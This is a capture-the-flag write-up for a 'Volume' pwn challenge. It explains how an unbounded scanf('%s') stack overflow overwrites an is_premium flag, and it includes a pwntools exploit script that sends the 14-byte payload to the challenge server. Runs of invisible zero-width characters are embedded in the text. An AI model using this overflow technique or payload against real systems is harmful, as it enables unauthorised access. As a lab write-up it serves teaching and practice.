BOF: Регулировщик громкости (Volume)

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: NA

Summary

BOF: Регулировщик громкости (Volume)

Event: hackerlab
Task: BOF: Регулировщик громкости
Category: pwn / buffer_overflow
Flag: CODEBY{REDACTED}

Description

"Ого, это новая UI и UX разработка. Да ещё есть и PREMIUM версия! Нужно глянуть это чудо!"

Analysis

Binary

• ELF 64-bit LSB PIE executable
• No canary, NX enabled, PIE enabled

Vulnerability

scanf("%s") reads a string without size limit into a stack buffer, allowing overwrite of adjacent variables.

Stack Layout

rbp-0x14: input buffer (4 bytes)
rbp-0x10: volume_int (4 bytes)
rbp-0x0c: end_index (4 bytes)
rbp-0x06: start_index (1 byte)
rbp-0x05: is_premium (1 byte)  <-- target
rbp-0x04: counter (4 bytes)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Logic

• If is_premium != 0 → print_flag() is called
• If is_premium == 0 and counter > 1 → exit
• Need to overwrite is_premium to a non-zero value

Exploit

 python read-only • copy allowed Copy
from pwn import *

r = remote('62.173.140.174', 17400)
r.recvuntil(b'Enter the desired volume value (0-100): ')

# Offset: 14 bytes to is_premium
payload = b'A' * 14 + b'\x01' + b'\x01'
r.sendline(payload)

data = r.recvall(timeout=10)
print(data.decode('utf-8', errors='ignore'))

Key Points

1. Offset calculation: 14 bytes from input buffer to is_premium
2. scanf("%s"): does not limit input size
3. Variable overwrite: overwriting is_premium activates premium functionality ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tags

buffer_overflow scanf variable_overwrite premium_bypass ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍